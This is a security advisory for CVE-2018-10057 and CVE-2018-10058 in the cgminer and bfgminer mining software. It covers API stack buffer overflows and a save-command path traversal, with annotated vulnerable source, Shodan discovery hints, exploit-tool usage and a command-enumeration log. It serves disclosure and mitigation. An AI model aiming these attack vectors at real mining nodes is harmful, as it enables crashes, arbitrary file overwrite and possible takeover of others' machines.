Skip to content

Latest commit

 

History

History

cve-2018-10057

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

VuNote

Author:       <github.com/tintinweb>
Ref:          https://github.com/tintinweb/pub/tree/master/pocs/cve-2018-10057
              https://github.com/tintinweb/pub/tree/master/pocs/cve-2018-10058
Version:      0.1
Date:         Feb 11th, 2018

Tag:          cgminer bfgminer bitcoin miner authenticated buffer overflow path traversal

Overview

Name:         cgminer
Vendor:       ck kolivas
References:   * https://github.com/ckolivas/cgminer
              * https://bitcointalk.org/index.php?topic=28402.0

Version:        4.10.0 [1]
Latest Version: 4.10.0 [1]
Other Versions: <= 4.10.0
Platform(s):    windows, linux
Technology:     C/C++

Vuln Classes:   CWE-121: Stack-based Buffer Overflow
                CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Origin:         remote
Min. Privs.:    authenticated

Source:         open-source

CVE:	        CVE-2018-10057 - arbitrary file write
                CVE-2018-10058 - buffer overflow

Description

quote website [1][2]

This is a multi-threaded multi-pool FPGA and ASIC miner for bitcoin.

Overview

Name:         bfgminer
Vendor:       luke-jr
References:   * https://github.com/luke-jr/bfgminer/releases
              * http://bfgminer.org/
              * https://bitcointalk.org/?topic=877081

Version:        5.5.0 [3]
Latest Version: 5.5.0 [3]
Other Versions: <= 5.5.0
Platform(s):    windows, linux
Technology:     C/C++

Vuln Classes:   CWE-121: Stack-based Buffer Overflow
                CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Origin:         remote
Min. Privs.:    authenticated

Source:         open-source

CVE:	        CVE-2018-10057 - arbitrary file write
                CVE-2018-10058 - buffer overflow

Description

quote website [3][4][5]

What is BFGMiner?

BFGMiner is a modular ASIC/FPGA miner written in C, featuring dynamic clocking, monitoring, and remote interface capabilities.

Summary

cgminer and bfgminer both share a good portion of their code basis therefore they are both affected by the vulnerabilities described in this note. both applications provide remote management functionality via an api interface. This interface takes either custom plaintext or json encoded commands. Available API commands are defined in api.c. The set of available commands varies depending on the enabled features (opencl, fpga, cpumining). An api request can carry multiple commands if the commands are tagged as joinable (see api.c). While the API does not feature an authentication system, there is a readonly and write mode. Commands can either be accessible in readonly or also in write mode. Read/Write access can be granted via the commandline setting an IP-/Subnet-based ACL (Interpret [W:]IP[/Prefix][,[R|W:]IP2[/Prefix2][,...]] --api-allow option). In the context of this vulnerability note an authenticated vector refers to a vulnerability existing in the handling of write-mode commands. On the other hand unauthenticated vulnerabilities can be performed without having to match the IP-/Subnet-ACL first.

  • VU #1 - (CVE-2018-10058) Authenticated Stack buffer overflow (sprintf): addpool, save, failover-only, poolquota
  • VU #2 - (CVE-2018-10057) Authenticated path traversal (fopen): save
  • VU #3 - Unauthenticated Information Disclosure: banner / various commands leaking details
  • VU #4 - Missing Transport Security: no tls / trivial to mitm / eavesdrop

Successful exploitation could probably turned into:

  • RCE - execute arbitrary code, take over the mining node.
  • limited write anywhere - overwrite files; any location; limited control over content (config file content).

See attached PoC.

Details

// Note: annotations are prefixed with //#!

Service Discovery:

  • shodan: description=cgminer or [6]
  • banner: STATUS=E,When=1518898313,Code=14,Msg=Invalid command,Description=cgminer 4.9.0|\x00

VU #1 - (CVE-2018-10058) Authenticated Stack buffer overflow: addpool, save, failover-only, poolquota

The root cause for the buffer overflow are missing bounds checks and unlimited format descriptors used with sprintf that lead to straight forward sprintf buffer overwrite vulnerabilities. Misuse pattern sprintf(dst[size], "%s", param[can be > size]). To exploit this an attacker must be able to provide string params to sprintf that are close or larger the destination buffer size. The way escape_string works makes it easier for attackers to generate large strings that are being passed to sprintf as the method does not limit the output size and may extend up to double the size of the input string (characters escaped one-by-one).

Sug. Mitigation:

  • sprintf --> snprintf with a length of buffersize-1.

Request Handler: api(int api_thr_id){}

  • The request recv buffer size is buf[TMPBUFSIZ=8192].
  • recv() reads at most TMPBUFSIZ-1 bytes from the socket. This means we can push at max 8191 bytes to the api handler (this includes json encoding/plaintext cmd overhead)
  • For plaintext commands we can push up to TMPBUFSIZ-1-len(cmd+SEPARATOR) bytes as param (recv_buffer_size - command and separator overhead)
void api(int api_thr_id)
{
    ...
    char buf[TMPBUFSIZ];            //#! fixed buffer 8192b
    ...
    while (!bye) {
        ...
        addrok = check_connect((struct sockaddr_storage *)&cli, &connectaddr, &group);      //#! check API access ok
        applog(LOG_DEBUG, "API: connection from %s - %s",
                    connectaddr, addrok ? "Accepted" : "Ignored");

        if (addrok) {   //#! ACL - access allowed
            n = recv(c, &buf[0], TMPBUFSIZ-1, 0);           //#! read up to 8192-1 bytes

            ...
                if (*buf != ISJSON) {                       //#! plaintext cmd decoder
                    isjson = false;

                    param = strchr(buf, SEPARATOR);         //#! param can hold up to TMPBUFSIZ-1-sizeof(SEPARATOR) bytes
                    if (param != NULL)
                        *(param++) = '\0';

                    cmd = buf;
                }
                else {                                      //#! json cmd decoder
                    ...
                    cmd = (char *)json_string_value(json_val);
                    ...
                    if (json_is_string(json_val))
                            param = (char *)json_string_value(json_val);    //#! param can hold up to TMPBUFSIZE-1-sizeof(json overhead including cmdstruct)
            ...

                        for (i = 0; cmds[i].name != NULL; i++) {
                            ...
                                if (ISPRIVGROUP(group) || strstr(COMMANDS(group), cmdbuf))
                                    (cmds[i].func)(io_data, c, param, isjson, group);           //#! call api command handler
                                else {
                                    message(io_data, MSG_ACCDENY, 0, cmds[i].name, isjson);
                                    applog(LOG_DEBUG, "API: access denied to '%s' for '%s' command", connectaddr, cmds[i].name);
                                }
...

String escaping: (backslash escaping) = (non-json), " (json), \ (both) will be prefixed with \

  • stage 1 - scans string for to-be escaped characters and counts them.
  • stage 2 - allocates a new buffer for the extended size due to added \ for escaping.
  • stage 3 - scans string copying byte-by-byte to new buffer adding \ when encountering =,",\.
  • Note: If the input string contains a to-be-escaped character the output string will be larger than the input.
  • Note: This means if the input string only consists of e.g. = the output string will be twice the size \=.

Furthermore this means that in worst case an input string of 8k may generate an output string of 16k.

static char *escape_string(char *str, bool isjson)
{
    char *buf, *ptr;
    int count;

    count = 0;
    for (ptr = str; *ptr; ptr++) {
        switch (*ptr) {
            case ',':
            case '|':
            case '=':                //#! count to-be-escaped char
                if (!isjson)
                    count++;
                break;
            case '"':
                if (isjson)
                    count++;
                break;
            case '\\':
                count++;
                break;
        }
    }

    if (count == 0)
        return str;

    buf = cgmalloc(strlen(str) + count + 1);         //#! malloc new buffer to fit escaped string

    ptr = buf;
    while (*str)
        switch (*str) {
            case ',':
            case '|':
            case '=':                               //#! copy string; insert escape chars when needed.
                if (!isjson)
                    *(ptr++) = '\\';
                *(ptr++) = *(str++);
                break;
            case '"':
                if (isjson)
                    *(ptr++) = '\\';
                *(ptr++) = *(str++);
                break;
            case '\\':
                *(ptr++) = '\\';
                *(ptr++) = *(str++);
                break;
            default:
                *(ptr++) = *(str++);
                break;
        }

    *ptr = '\0';

    return buf;
}
  • Buffer overwrite for param to command: addpool
...
{ SEVERITY_ERR,   MSG_INVPDP,	PARAM_STR,	"Invalid addpool details '%s'" },
...

static void addpool(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
    ...

    if (!pooldetails(param, &url, &user, &pass)) {
        ptr = escape_string(param, isjson);              //#! VU #1 - escape_string may return > 8192 bytes if it contains to be escaped chars
        message(io_data, MSG_INVPDP, 0, ptr, isjson);    //#! VU #1 - may overwrite internal buf[TMPBUFSIZ=8192] if ptr>(8192 - len(hardcoded err msg))
        if (ptr != param)                                //#! MSG_INVPDP - see def above - is a FMT using unbound %s that may cause a buffer overwrite if the param is > sprintf destination buffer size
            free(ptr);
        ptr = NULL;
        return;
    }

    ...

    ptr = escape_string(url, isjson);                            //#! VU #1 - escape_string may return > 8192 bytes if it contains to be escaped chars
    message(io_data, MSG_ADDPOOL, pool->pool_no, ptr, isjson);   //#! VU #1 - may overwrite internal buf[TMPBUFSIZ=8192] if ptr>(8192 - len(hardcoded err msg))
    if (ptr != url)
        free(ptr);
    ptr = NULL;
}

Where message() is defined as follows:

static void message(struct io_data *io_data, int messageid, int paramid, char *param2, bool isjson)
{
    struct api_data *root = NULL;
    char buf[TMPBUFSIZ];                //#! fixed size stack buffer 8192 bytes!
    char severity[2];

    ...

    for (i = 0; codes[i].severity != SEVERITY_FAIL; i++) {      //#! get message FMT from codes (vulnerable if contains unbound %s in fmt)
        if (codes[i].code == messageid) {
            ...

            switch(codes[i].params) {
                ...
                case PARAM_STR:
                    sprintf(buf, codes[i].description, param2);             //#! sprintf buffer overwrite; param2 can be > sizeof(buf)
                    break;
                ...
  • Buffer overwrite for param to command: dosave
void dosave(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
    char filename[PATH_MAX];
    FILE *fcfg;
    char *ptr;

    if (param == NULL || *param == '\0') {
        default_save_file(filename);
        param = filename;
    }

    fcfg = fopen(param, "w");
    if (!fcfg) {
        ptr = escape_string(param, isjson);  //#! VU #1 - escape_string may return > 8192 bytes if it contains to be escaped chars
        message(io_data, MSG_BADFN, 0, ptr, isjson);  //#! VU#1 - may overwrite internal buf[TMPBUFSIZ=8192] if ptr>(8192 - len(hardcoded err msg))
        if (ptr != param)
            free(ptr);
        ptr = NULL;
        return;
    }

    write_config(fcfg);
    fclose(fcfg);

    ptr = escape_string(param, isjson);		//#! VU #1 - same here; see description above (case with valid filename)
    message(io_data, MSG_SAVED, 0, ptr, isjson);
    if (ptr != param)
        free(ptr);
    ptr = NULL;
}
  • Buffer overwrite for param to command: failover-only:

The param to failover-only is directly passed to message() with message fmt "Deprecated config option '%s'" which is then passed to sprintf(buf[TMPFBUFSIZ=8192], "Deprecated config option '%s'", param[can_be_>TMPBUFSIZ]). param can be close to 8191 bytes (minus command encoding overhead ~15bytes). The message template MSG_DEPRECATED is already 27 bytes without %s being filled in. An attacker providing at least > 8191-27 bytes as param to this command will therefore make sprintf write past the stack buffer buf[TMPBUFSIZ=8192] in message().

...
 { SEVERITY_ERR,   MSG_DEPRECATED, PARAM_STR,	"Deprecated config option '%s'" },    //#! VU #1 - sprintf fmt with unbound param %s. can be any length
...

static void failoveronly(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
    message(io_data, MSG_DEPRECATED, 0, param, isjson);     //#! VU #1 - param can be > TMPBUFSIZE (hardcoded stack buffer for sprint destination in message())
}
  • Buffer overwrite for param to command: poolquota
...
 { SEVERITY_ERR,   MSG_CONVAL,	PARAM_STR,	"Missing config value N for '%s,N'" },     //#! VU #1 - sprintf fmt with unbound param %s. can be any length
...

static void poolquota(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
    ...

    comma = strchr(param, ',');
    if (!comma) {
        message(io_data, MSG_CONVAL, 0, param, isjson);     //#! VU #1 - sprintf buffer overwrite similar to other commands
        return;
    }

    ...
}

VU #2 - (CVE-2018-10057) Authenticated path traversal: save

When calling api command save the parameter is passed to dosave(.., .., param, ...) which calls fopen(param) on the unsanitized/unvalidated user provided parameter. This allows for absolute and relative path traversal allowing to save the current configuration (json) to any location provided with the request parameter (user provided).

void dosave(struct io_data *io_data, __maybe_unused SOCKETTYPE c, char *param, bool isjson, __maybe_unused char group)
{
    char filename[PATH_MAX];
    FILE *fcfg;
    char *ptr;

    if (param == NULL || *param == '\0') {
        default_save_file(filename);
        param = filename;
    }

    fcfg = fopen(param, "w");				 //#! VU #2 - param not filtered; abs path traversal
    if (!fcfg) {
        ptr = escape_string(param, isjson);
        message(io_data, MSG_BADFN, 0, ptr, isjson);
        if (ptr != param)
            free(ptr);
        ptr = NULL;
        return;
    }

    write_config(fcfg);
    fclose(fcfg);

    ptr = escape_string(param, isjson);		//#! VU #2 - same here; see description above (case with valid filename)
    message(io_data, MSG_SAVED, 0, ptr, isjson);
    if (ptr != param)
        free(ptr);
    ptr = NULL;
}

Sug. Mitigation:

  • input validation / sanitation
  • basedir restriction

VU #3 - Unauthenticated Information Disclosure: banner / various commands leaking details

As seen on shodan and similar search engines cgminer/bfgminer trivially leaks valuable information in its server banner invalid command as well as a series of other commands available in readonly mode.

Note: use poc.py <target> to enumerate available commands for readonly mode.

STATUS=E,When=1518898313,Code=14,Msg=Invalid command,Description=cgminer 4.9.0|\x00

Sug. Mitigation:

  • Do not respond to empty requests, requests with unexpected format or invalid commands; reply with a short generic errorcode
  • consider authenticating the interface (user auth); only answer authenticated commands

VU #4 - Misc

The API interface (custom tcp socket comm) does not provide any transport security.

Sug. Mitigation:

  • enforce tls for the api interface.

See attached PoC.

Proof of Concept

Prerequisites:

  • compatible AMD/NVidia hardware
  • an isolated target machine to verify the vulnerability

Usage: poc.py

      example: poc.py [options] <target> [<target>, ...]

      options:
               --no-capabilities    ...   do not check for supported commands [default:False]
               --havoc              ...   probe all commands for buffer overflow
               --vector=<vector>    ...   <see vectors> - launch specific attack vector

      vector   ...  crash_addpool   ...   crash addpool command
                    crash_failover  ...   crash failover-only command
                    crash_poolquota ...   crash poolquota command
                    crash_save      ...   crash save command
                    traverse_save   ...   path traversal in save command

      target   ... <IP, FQDN:port>

               #> poc.py 1.1.1.1:4028
               #> poc.py 1.2.3.4:4028
               #> poc.py --vector=crash_addpool 1.1.1.1:4028
               #> poc.py --havoc 1.1.1.1:4028


      To reproduce launch cgminer in this mode:
      #> ./cgminer -D --url ltc-eu.give-me-coins.com:3334 --api-listen -T -u a -p a --api-allow 0/0
  1. start the miner, specify a pool and allow write-mode from any Subnet (or restrict it to your attackers ip) then wait for the API to be ready

...
 [xxx] Generated stratum work
 [xxx] Pushing work from pool 0 to hash queue
 [xxx] API running in IP access mode on port 4028 (3)
 [xxx] Testing pool stratum+tcp://ltc-eu.give-me-coins.com:3334
...
  1. [vector 1] To trigger the stack buffer overwrite in addpool, save, failover-only, poolquota launch poc.py --vector=crash_<addpool|failover|poolquota|save> <target-ip:port>

Launch poc.py and trigger any of the crash_* vectors (stack buffer overwrite). poc.py by default is pretty verbose and checks for all available commands on the target. Accessible commands will be listed. The buffer overwrite is triggered with the last command in the output.

Note: you may also want to brute-force all available commands for overflows with poc.py --havoc <target-ip:port>


[cgminer.py -             <module>() ][    INFO] --start--
[cgminer.py -             <module>() ][    INFO] # CGMiner / BFGMiner exploit
[cgminer.py -             <module>() ][    INFO] # github.com/tintinweb

[cgminer.py -             <module>() ][    INFO] [i] about to check for the following commands: ['gpufan', 'ascset', 'gpuvddc', 'cpurestart', 'pga', 'asccount', 'pgarestart', 'disablepool', 'hotplug', 'estats', 'ascidentify', 'zero', 'usbstats', 'failover-only', 'notify', 'gpuenable', 'edevs', 'procdisable', 'poolquota', 'addpool', 'check', 'devdetails', 'pgaenable', 'quit', 'stats', 'gpumem', 'debug', 'switchpool', 'ascenable', 'procdetails', 'version', 'procs', 'ascdisable', 'pgacount', 'cpuenable', 'save', 'config', 'privileged', 'gpurestart', 'pgaidentify', 'gpucount', 'gpudisable', 'gpuintensity', 'procenable', 'gpuengine', 'asc', 'pools', 'lcd', 'cpucount', 'gpu', 'procidentify', 'coin', 'cpudisable', 'pgaset', 'restart', 'procnotify', 'pgadisable', 'proccount', 'setconfig', 'lockstats', 'proc', 'procset', 'enablepool', 'summary', 'devs', 'devscan', 'removepool', 'poolpriority', 'cpu']
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpufan", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpufan' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "ascset", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'ascset' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpuvddc", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpuvddc' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "cpurestart", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'cpurestart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pga", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pga' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "asccount", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'asccount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgarestart", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgarestart' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "disablepool", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'disablepool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "hotplug", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'hotplug' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "estats", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'estats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "ascidentify", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'ascidentify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "zero", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'zero' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "usbstats", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'usbstats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "failover-only", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'failover-only' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "notify", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'notify' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpuenable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpuenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "edevs", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'edevs' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procdisable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procdisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "poolquota", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'poolquota' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "addpool", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'addpool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "check", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'check' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "devdetails", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'devdetails' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgaenable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgaenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "quit", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'quit' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "stats", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'stats' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "gpumem", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'gpumem' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "debug", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'debug' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "switchpool", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'switchpool' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "ascenable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'ascenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procdetails", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procdetails' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "version", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'version' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "procs", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'procs' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "ascdisable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'ascdisable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "pgacount", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'pgacount' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "cpuenable", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'cpuenable' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'N', u'Exists': u'N'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "save", "command": "check"}\n'
[cgminer.py -    _get_capabilities() ][   DEBUG] response: 'save' {u'STATUS': [{u'STATUS': u'S', u'Msg': u'Check command', u'Code': 72, u'When': 1519337465, u'Description': u'cgminer 4.10.0'}], u'CHECK': [{u'Access': u'Y', u'Exists': u'Y'}], u'id': 1}
[cgminer.py -              sendRcv() ][   DEBUG] sendRcv: '{"parameter": "config", "command": "check"}\n'
